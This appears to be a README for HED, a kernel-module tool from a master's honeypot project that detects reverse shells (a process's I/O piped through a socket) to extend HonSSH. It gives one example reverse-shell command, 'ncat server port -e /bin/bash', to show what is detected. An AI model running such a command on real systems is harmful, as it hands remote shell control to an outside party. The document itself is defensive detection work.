HED is a tool developed for detecting when an "engage" is performed. What is an engage? Well... we refer as "engage" to the procedure of multiplexing the input & output of a child process through a socket. For example: if you execute the following command:

ncat server port -e /bin/bash

An engage to the server:port executing an instance of BASH is performed.

HED needs another party, contained inside the directory Handler, who receives the information related to the engage (i.e. IP Address & TCP Port) so it captures the traffic of this stream.

This is useful in certain environments. Our motivation is to enhance the functionality of the software HonSSH:

https://github.com/tnich/honssh

All this project is part of a project of a master, implementing a Honeypot; I am opened to questions and suggestions. It is important to note that it is necessary to modify the Linux kernel before adding the kernel module... This is not very flexible... maybe I will implement a new version "ALL-IN-ONE" in a future.

The modified files are the following:

sched.h
fork.c
exit.c

The base Linux kernel version we have used is 4.1.18; but it can work in a large number of versions.

Fernando Vañó